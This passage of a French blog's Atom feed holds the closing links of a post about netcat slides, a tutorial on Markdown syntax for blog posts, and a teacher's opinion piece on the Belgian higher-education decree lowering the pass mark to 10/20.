&lt;li&gt;Protocole SMTP, &lt;a href="http://tools.ietf.org/html/rfc821"&gt;RFC 821&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Alice_and_Bob"&gt;Wikipedia, &lt;em&gt;cryptography characters&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.offensive-security.com/"&gt;Offensive security lab&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ces slides chez &lt;a href="http://fr.slideshare.net/"&gt;Slideshare&lt;/a&gt;, &lt;a href="http://fr.slideshare.net/PierreBETTENS/netcat-in-5-slides"&gt;netcat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://ritvikpandey.deviantart.com/art/Broken-Door-103952944"&gt;Ritvikpandey&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://blog.namok.be/public/documents/5slides/in5slides-netcat.pdf" title="in5slides-netcat.pdf"&gt;Les slides in5slides-netcat.pdf&lt;/a&gt;  (318.74 KB)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je devrais dire que je trouve que les slides sont beaux et ne pas l&amp;rsquo;affirmer de manière péremptoire. Ce n&amp;rsquo;est pas grave pour une fois ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Faire l&amp;rsquo;exercice une fois dans sa vie aide à comprendre ce qu&amp;rsquo;est un protocole et permet également de se rappeler que &lt;em&gt;rien n&amp;rsquo;est magique&lt;/em&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Préparer ses billets en markdown</title><link href="http://blog.namok.be/2013-11-19-billet-markdown.html" rel="alternate"/><published>2013-11-19T00:00:00+01:00</published><updated>2013-11-19T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-11-19:/2013-11-19-billet-markdown.html</id><summary type="html">Préparer ses billets en markdown</summary><content type="html">&lt;p&gt;Là, j&amp;rsquo;écris en markdown, &lt;strong&gt;gras&lt;/strong&gt; et &lt;em&gt;italique&lt;/em&gt; … génial !&lt;/p&gt;
&lt;p&gt;La syntaxe markdown permet d&amp;rsquo;écrire un texte en format texte tout à fait lisible et de le convertir en texte enrichi de manière très simple. Pour rédiger un article de blog et se concentrer sur le fond plutôt que sur la forme, c&amp;rsquo;est &lt;strong&gt;beaucoup&lt;/strong&gt; mieux que la syntaxe &lt;em&gt;wiki&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="embarquement_immediat_by_tiquitiqui-d37hlpk.jpg" src="images/embarquement_immediat_by_tiquitiqui-d37hlpk.jpg" title="embarquement_immediat_by_tiquitiqui-d37hlpk.jpg, nov. 2013"&gt;&lt;/p&gt;
&lt;p&gt;La philosophie de la syntaxe est d&amp;rsquo;avoir un texte facile à lire et facile à écrire.&lt;/p&gt;
&lt;p&gt;La syntaxe markdown est assez souple et permet plusieurs manières de rédiger (c&amp;rsquo;est mieux cependant d&amp;rsquo;être cohérent au sein d&amp;rsquo;un même document). À la différence de la syntaxe (des syntaxes devrais-je dire) wiki &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, le texte source reste très lisible ce qui est agréable pour le rédacteur et pour une éventuelle lecture &lt;em&gt;plain text&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;La base de cette syntaxe est la suivante (le détail peut être trouvé sur le &lt;a href="http://daringfireball.net/projects/markdown/syntax"&gt;site original daringfireball&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;l&amp;rsquo;emphase simple, généralement interprètée comme de l&amp;rsquo;italique, est obtenue en &lt;em&gt;entourant le texte d&amp;rsquo;une étoile&lt;/em&gt; ou d&amp;rsquo;un &lt;em&gt;underscore&lt;/em&gt; (tiret bas);&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Comme *ceci*&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Comme _ceci_&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;la double emphase en entourant le texte de &lt;strong&gt;deux étoiles&lt;/strong&gt;;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;le code s&amp;rsquo;écrit entre guillemets inversés (&lt;em&gt;back quote&lt;/em&gt;) ```;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les titres sont précédés de symboles dièses &lt;code&gt;#&lt;/code&gt; (plus ils sont nombreux, plus le titre est de bas niveau). Ils peuvent également être soulignés si l&amp;rsquo;on préfère;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# Titre de niveau 1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;## Titre de niveau 2&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un bloc de citation (&lt;em&gt;blockquote&lt;/em&gt;) est précédé du symbole &lt;code&gt;&amp;gt;&lt;/code&gt; comme c&amp;rsquo;est l&amp;rsquo;habitude lorsque l&amp;rsquo;on &lt;a href="2007-12-06-netiquette.html"&gt;répond à un email&lt;/a&gt;;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;gt; La patience … et merde tu t'évertues !&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;gt; Proverbe librement adapté&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un bloc de code sera –quant-à lui– indenté de 4 caractères (ou une tabulation) au moins;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les listes à puces commencent par un caractère &lt;code&gt;*&lt;/code&gt; ou &lt;code&gt;+&lt;/code&gt; ou &lt;code&gt;-&lt;/code&gt;, comme l&amp;rsquo;on veut. Il est même permit de les mélanger. Il est possible d&amp;rsquo;avoir plusieurs paragraphes sous la même puce. Pour ce faire indenter le code de 4 caractères (ou une tabulation) au moins.&lt;/p&gt;
&lt;p&gt;Pour rappel, la version texte de la page sera toujours bien lisible. Pas de balise ni de html ni de wiki. Le texte de ce billet sera joint …&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une liste numérotée, se fait… en la numérotant. Il suffit de commencer la première ligne par 1 suivi d&amp;rsquo;un point, la seconde par 2 suivi d&amp;rsquo;un point, etc. Si vous voulez tout numéroter avec 1, c&amp;rsquo;est bien aussi… et dans le désordre, markdown s&amp;rsquo;y retrouvera aussi !&lt;/p&gt;
&lt;p&gt;Comme ceci !&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;3. Premier élément&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2. Second élément&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1. Troisième élément&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Exemple d'éditeur" src="images/markdown-text-editor.png" title="Exemple d'éditeur markdown"&gt;&lt;/p&gt;
&lt;p&gt;Les liens peuvent se faire de deux manières différentes, il existe les liens: &lt;em&gt;inline&lt;/em&gt; et &lt;em&gt;reference&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Le lien en ligne s&amp;rsquo;écrit: entre crochets &lt;code&gt;[]&lt;/code&gt;, le nom, immédiatement suivi par l&amp;rsquo;hyperlien entre parenthèses &lt;code&gt;()&lt;/code&gt;. L&amp;rsquo;hyperlien peut être suivi du titre toujours dans les parenthèses mais séparé de l&amp;rsquo;URL par un espace.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[Lien](http://example.org)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[Lien](http://example.org Titre)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Le lien référence s&amp;rsquo;écrit également entre crochets mais est immédiatement suivi d&amp;rsquo;une nouvelle paire de crochets contenant au choix; un identifiant, un numéro, ou simplement rien. Dans ce cas, c&amp;rsquo;est le nom du lien qui sera utilisé.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[Lien][id]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;… la référence sera, quant-à elle écrite n&amp;rsquo;importe où dans la suite du texte. Les liens sont de la forme suivante. L&amp;rsquo;avantage étant que l&amp;rsquo;on peut les rassembler en fin de texte et qu&amp;rsquo;ils ne gêneront pas la lecture du document au format texte.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[id]: http://example.org "Titre"&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Un autre avantage de la « méthode référence » est que je peux faire plusieurs fois référence au même lien dans le texte en n&amp;rsquo;écrivant qu&amp;rsquo;une seule fois l&amp;rsquo;hyperlien. Cela devient plus facile de rassembler en fin de billet dans les liens cités dans le texte.&lt;/p&gt;
&lt;p&gt;Pour &lt;a href="http://dotclear.org/"&gt;dotclear&lt;/a&gt;, il existe un &lt;a href="http://plugins.dotaddict.org/dc2/details/formatting-markdown"&gt;plugin&lt;/a&gt; permettant d&amp;rsquo;éditer ses billets dans cette syntaxe markdown ce qui permet d&amp;rsquo;écrire son brouillon en &lt;em&gt;plain text&lt;/em&gt; de manière lisible.&lt;/p&gt;
&lt;p&gt;La syntaxe (je sais), j&amp;rsquo;insiste permet de se concentrer sur le fond et de structurer son texte tout en le laissant parfaitement lisible. En fait, il faut essayer pour s&amp;rsquo;en rendre compte&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;use et abuse des notes de bas de pages.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est illisible mais j&amp;rsquo;aime bien &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;. Cette notion n&amp;rsquo;apparait pas dans la syntaxe markdown… mais bien dans l&amp;rsquo;&lt;a href="http://michelf.ca/projects/php-markdown/"&gt;extension PHP&lt;/a&gt; de Michel Fortin utilisée pour le &lt;a href="http://plugins.dotaddict.org/dc2/details/formatting-markdown"&gt;plugin markdown syntax&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Une note de bas de page est somme toute un &lt;strong&gt;lien&lt;/strong&gt; un peu particulier. Il s&amp;rsquo;écrit en utilisant l&amp;rsquo;accent circonflexe suivi d&amp;rsquo;un identifiant entre crochet. Le texte de la note de bas de page pouvant être écrit n&amp;rsquo;importe où dans le texte &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;5&lt;/a&gt;&lt;/sup&gt; en étant précédée, de l&amp;rsquo;identifiant muni de son accent circonflexe, entre crochets, suivis de deux-points. Les notes seront numérotées automatiquement.&lt;/p&gt;
&lt;p&gt;Pour ma part, j&amp;rsquo;ai choisi de les numéroter « dans l&amp;rsquo;ordre où je les ajoute » en sachant que dotclear renumérotera ensuite. J&amp;rsquo;ai également choisi de les écrire dans le flux du texte pour mon confort d&amp;rsquo;écriture.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Un texte[^1] avec une note de bas de page&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[^1]: La note de bas de page associée&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Pour insérer une image, le mieux, c&amp;rsquo;est d&amp;rsquo;utiliser le bouton de l&amp;rsquo;interface wysiwyg qui donnera accès au gestionnaire de médias de dotclear. Cela aura pour effet d&amp;rsquo;insérer le code html pour l&amp;rsquo;image. Même si on aurait pu écrire une ligne de la forme suivante,&lt;/p&gt;
&lt;p&gt;&lt;code&gt;![Alt text](/path/to/img.jpg)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;interface dotclear a l&amp;rsquo;avantage de gérer convenablement le lien vers l&amp;rsquo;image (locale)&lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;4&lt;/a&gt;&lt;/sup&gt; et comme je dois de toute façon poser la main sur la souris pour envoyer / choisir l&amp;rsquo;image …&lt;/p&gt;
&lt;p&gt;Les deux manières de faire fonctionnent…&lt;/p&gt;
&lt;p&gt;Vous l&amp;rsquo;aurez compris, pour une édition claire de ses billets, je conseille la syntaxe markdown…&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://daringfireball.net/projects/markdown/syntax"&gt;Daringfireball.net, markdown syntax&lt;/a&gt;, définition initiale de la syntaxe markdown&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pythonhosted.org/Markdown/extensions/footnotes.html"&gt;Python hosted&lt;/a&gt;, un lien au hasard du net parlant des notes de bas de pages&lt;/li&gt;
&lt;li&gt;&lt;a href="http://dotclear.org/"&gt;Dotclear&lt;/a&gt;, le moteur de blog&lt;/li&gt;
&lt;li&gt;&lt;a href="http://plugins.dotaddict.org/dc2/details/formatting-markdown"&gt;Plugin markdown syntax&lt;/a&gt;, le plugin chez dotclear&lt;/li&gt;
&lt;li&gt;&lt;a href="http://michelf.ca/projects/php-markdown/"&gt;PHP Markdown&lt;/a&gt;, la classe PHP prenant en charge la conversion du « source » en html&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.framablog.org/index.php/post/2013/11/15/a-mort-microsoft-word"&gt;À mort les traitements de texte&lt;/a&gt;, un article rappelant l&amp;rsquo;histoire des traitements de texte et pourquoi il faut séparer le fond et la forme.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://nicolas-guilhou.com/news/2012/11/07/Brulons_les-traitements_de_texte-embarques?source=tiny&amp;amp;fonctionne=yes"&gt;Brûlons les traitement de textes embarqués&lt;/a&gt;, un peu une ôde à la syntaxe markdown !&lt;/li&gt;
&lt;li&gt;Crédit photo, exemple d&amp;rsquo;éditeur de &lt;a href="http://nicolas-guilhou.com/news/2012/11/07/Brulons_les-traitements_de_texte-embarques?source=tiny&amp;amp;fonctionne=yes"&gt;Nicolas Guilhou&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://fav.me/d37hlpk"&gt;Tiquitiqui&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;.  Je ne parlerai même pas d&amp;rsquo;écrire en xhtml ou pire de faire des copier / coller à partir d&amp;rsquo;un traitement de texte. Je conseille d&amp;rsquo;ailleurs la lecture de « &lt;a href="http://www.framablog.org/index.php/post/2013/11/15/a-mort-microsoft-word"&gt;À mort les traitement de texte&lt;/a&gt; ».&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je sais que je ne m&amp;rsquo;adresse pas aux aficionados de MS Word et autres LibreOffice. Je suis toujours sidéré que l&amp;rsquo;on essaie de créer son billet en faisant un copier /coller dans l&amp;rsquo;éditeur wysisyg.&lt;br&gt;
Je ne comprend pas non plus que l&amp;rsquo;on écrive la souris à la main (voire par le biais d&amp;rsquo;un raccourcis clavier nécessairement moins accessible qu&amp;rsquo;une étoile ou un tiret) pour aller cliquer sur l&amp;rsquo;icone d&amp;rsquo;emphase ou de liste à puces. Je respecte cependant votre manière de faire et expose la mienne parce que j&amp;rsquo;aime partager ce que je trouve pratique.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;.  On ne se refait pas :-) J&amp;rsquo;aime écrire un commentaire un peu hors de propos, une note d&amp;rsquo;humour ou encore, une indication pour « aller plus loin ».&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Je n&amp;rsquo;ai pas vérifié qu&amp;rsquo;il faille que ce soit après car j&amp;rsquo;écris rarement une note de bas de page avant le texte auquel elle fait référence !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;C&amp;rsquo;est l&amp;rsquo;occasion de rappeler que ce n&amp;rsquo;est pas poli d&amp;rsquo;insérer une image hébergée chez quelqu&amp;rsquo;un d&amp;rsquo;autre. Comme il faut la copier chez soi, autant utiliser le gestionnaire de médias de dotclear.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Le paysage de l'enseignement supérieur, deuxième</title><link href="http://blog.namok.be/2013-11-13-decret-paysage-marcourt-2.html" rel="alternate"/><published>2013-11-13T00:00:00+01:00</published><updated>2013-11-13T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-11-13:/2013-11-13-decret-paysage-marcourt-2.html</id><summary type="html">Ou le décret Marcourt, la suite.</summary><content type="html">&lt;p&gt;Cet article fait suite à ma &lt;a href="2013-10-01-decret-paysage-marcourt-1.html"&gt;première réaction au décret paysage&lt;/a&gt; et (en partie) à la réussite à 10/20.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Off_with_her_head_by_ideea.jpg" src="images//Off_with_her_head_by_ideea.jpg" title="Off_with_her_head_by_ideea.jpg, nov. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Comme attendu, les réactions fleurissent à ce sujet et certains étudiants ont même décidé de lancer &lt;a href="https://www.lapetition.be/en-ligne/Contre-le-decret-de-l-enseignement-superieur-faisant-passer-le-seuil-de-reussite-de-12-a-10-13585.html"&gt;une pétition&lt;/a&gt; !&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est un nivellement par le bas ! Le diplôme ne vaut plus rien ! scandent les détracteurs&lt;/p&gt;
&lt;p&gt;— Mon fils se contente d&amp;rsquo;un 10/20. Depuis lors, je le dépose à mi-chemin de l&amp;rsquo;école&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; et je ne repasse que la moité de ses t-shirts. enchérit Charlotte&lt;/p&gt;
&lt;p&gt;Je ne pense vraiment pas qu&amp;rsquo;il faille s&amp;rsquo;inquiéter de la valeur du diplôme, un étudiant obtenant son &lt;em&gt;bachelor&lt;/em&gt; (ou son &lt;em&gt;master&lt;/em&gt;) avec &lt;strong&gt;distinction&lt;/strong&gt; restera un étudiant ayant bien réussi&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Par contre, il est probable qu&amp;rsquo;il y ait plus d&amp;rsquo;étudiants qui obtiennent leur diplôme…&lt;/p&gt;
&lt;p&gt;… ce qui généralisera sans doute les entretiens d&amp;rsquo;embauche avec tests et la présentation des bulletins. À vous de voir qui vous embauchez&lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;À noter également que, selon nos informations, certains professeurs envisagent déjà d&amp;rsquo;adapter leurs critères de correction.&lt;/p&gt;
&lt;p&gt;(&lt;a href="http://www.lalibre.be/actu/belgique/1020-au-lieu-de-1220-pour-reussir-des-etudiants-denoncent-5280a3123570aa4f7902fd87"&gt;Extrait de la Libre&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Balayer d&amp;rsquo;un revers de la main la réussite à 10/20 en disant que les enseignants vont revoir leur manière de coter est sans doute aller vite en besogne.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Un 10/20 wallon est un 14/20 américain&lt;/p&gt;
&lt;p&gt;(Entendu dans &lt;a href="http://www.rtbf.be/video/detail_jt-19h30?id=1869103"&gt;le journal télévisé de La Une du 12 novembre 2013&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je m&amp;rsquo;étais dit de prime abord qu&amp;rsquo;il suffisait de revoir l&amp;rsquo;échelle de valeur mais ce n&amp;rsquo;est pas si simple. Je me sens lésé dans ma liberté pédagogique&lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; et il est indéniable que le décret aura un effet sur notre manière d&amp;rsquo;attribuer LA cote. &lt;/p&gt;
&lt;p&gt;Comment se marque cet impact ?&lt;/p&gt;
&lt;p&gt;Avant le décret paysage, mes choix d&amp;rsquo;évaluations pouvaient, grosso modo, être répartis en quatre types de cotes &lt;em&gt;x&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x&amp;lt;6 lorsque l&amp;rsquo;étudiant n&amp;rsquo;a pas atteint les compétences;&lt;/li&gt;
&lt;li&gt;6≤x&amp;lt;10 si ce n&amp;rsquo;est pas suffisant mais qu&amp;rsquo;une moyenne de 12/20&lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; permet de compenser l&amp;rsquo;échec ponctuel;&lt;/li&gt;
&lt;li&gt;10≤x&amp;lt;12 parce que c&amp;rsquo;est suffisant pour moi et que j&amp;rsquo;espère qu&amp;rsquo;il est meilleur dans d&amp;rsquo;autres branches (toujours avec cette optique d&amp;rsquo;au moins satisfaire à l&amp;rsquo;épreuve globale);&lt;/li&gt;
&lt;li&gt;x&amp;gt;12… pour reparler d&amp;rsquo;excellence ;-)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Avec le décret paysage, j&amp;rsquo;ai l&amp;rsquo;impression que mon choix est devenu binaire&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;10 parce que ça ne suffit pas,&lt;/li&gt;
&lt;li&gt;≥10 parce que ça suffit&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="on-off-1303681641_off___on_by_cetrobo-d1t8h73.jpg" src="images/on-off-1303681641_off___on_by_cetrobo-d1t8h73.jpg" title="on-off-1303681641_off___on_by_cetrobo-d1t8h73.jpg, nov. 2013"&gt;&lt;/p&gt;
&lt;p&gt;Que vont advenir les points de balance dans cette perspective ?&lt;/p&gt;
&lt;p&gt;Le décret nous dit&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le décret introduit ainsi une distinction entre le programme d&amp;rsquo;études établi par l&amp;rsquo;établissement qui, comme précédemment, est présenté en blocs annuels de 60 crédits et le parcours annuel d&amp;rsquo;un étudiant qui dépend des crédits acquis progressivement.&lt;/p&gt;
&lt;p&gt;Ainsi, chaque année académique, l&amp;rsquo;étudiant s&amp;rsquo;inscrit à un ensemble cohérent d&amp;rsquo;unités d&amp;rsquo;enseignement du programme. Ceci permet de briser la barrière des années du programme à réussir successivement, mais s&amp;rsquo;inscrit dans un parcours progressif au gré des acquis individuels.&lt;/p&gt;
&lt;p&gt;Toutefois, la délibération globale sur l&amp;rsquo;ensemble de son programme annuel permet de maintenir la possibilité au jury d&amp;rsquo;acter le droit à l&amp;rsquo;erreur, d&amp;rsquo;effacer un échec ponctuel au sein d&amp;rsquo;une session.&lt;/p&gt;
&lt;p&gt;(Extrait du décret)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;On a vu que la réussite sera à 10, que les années d&amp;rsquo;études se dissolvent au profit de parcours adaptés à l&amp;rsquo;étudiant mais nous aurons encore la possibilité « d&amp;rsquo;effacer un échec ponctuel » … pas sur que dans ces conditions ce soit encore judicieux.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, je me demande comment vont s&amp;rsquo;organiser les années d&amp;rsquo;études ? Comment faire pour gérer « l&amp;rsquo;ensemble cohérent d&amp;rsquo;unités d&amp;rsquo;enseignement » étudiant par étudiant et leur permettre un « parcours progressif au gré de leurs acquis individuels » ?&lt;/p&gt;
&lt;p&gt;On peut lire également:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Une disposition oblige l&amp;rsquo;ARES à rationaliser l&amp;rsquo;offre de formation afin de ne pas garder des formations redondantes ou insuffisamment suivies dans en deux lieux proches. Les habilitations sont ainsi accordées sur base d&amp;rsquo;un avis motivé remis par l&amp;rsquo;ARES.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Il risque d&amp;rsquo;y avoir des fusions de hautes écoles. Cette rationalisation de l&amp;rsquo;offre, si elle évite de payer des profs devant des classes vides tue une saine concurrence.&lt;/p&gt;
&lt;p&gt;Bref, il me reste pas mal de questions en suspens …&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2013-10-01-decret-paysage-marcourt-1.html"&gt;La réussite à 10&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2013-08-22-ce-sont-les-profs-qui-s-y-collent.html"&gt;Ce sont les profs qui s&amp;rsquo;y collent …&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.lalibre.be/actu/belgique/1020-au-lieu-de-1220-pour-reussir-des-etudiants-denoncent-5280a3123570aa4f7902fd87"&gt;La Libre&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.fef.be/home/"&gt;FEF, fédération des étudiants francophones&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lapetition.be/en-ligne/Contre-le-decret-de-l-enseignement-superieur-faisant-passer-le-seuil-de-reussite-de-12-a-10-13585.html"&gt;La pétition lancée par une étudiante&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.rtbf.be/video/detail_jt-19h30?id=1869103"&gt;Le journal télévisé de La Une du 12 novembre 2013&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://ideea.deviantart.com/art/Off-with-her-head-166401068"&gt;Ideea&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;ai vraiment bien aimé ce commentaire suite à l&amp;rsquo;article de la libre :-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;… et l&amp;rsquo;on pourra parler « d&amp;rsquo;excellence » comme le décret aime à le faire ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Je ne fais pas le péteux, et je n&amp;rsquo;oublie pas mon parcours scolaire, rassurez-vous&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Il fallait bien que je la place quelque part pour donner du sérieux à l&amp;rsquo;article ^^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Et là, je ne suis pas d&amp;rsquo;accord avec l&amp;rsquo;argument d&amp;rsquo;harmonisation présenté, en autre par la FEF, même si je comprend parfaitement qu&amp;rsquo;il soit difficile pour un étudiant ayant une moyenne comprise entre 10 et 12 d&amp;rsquo;accepter qu&amp;rsquo;il ne satisfait pas.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
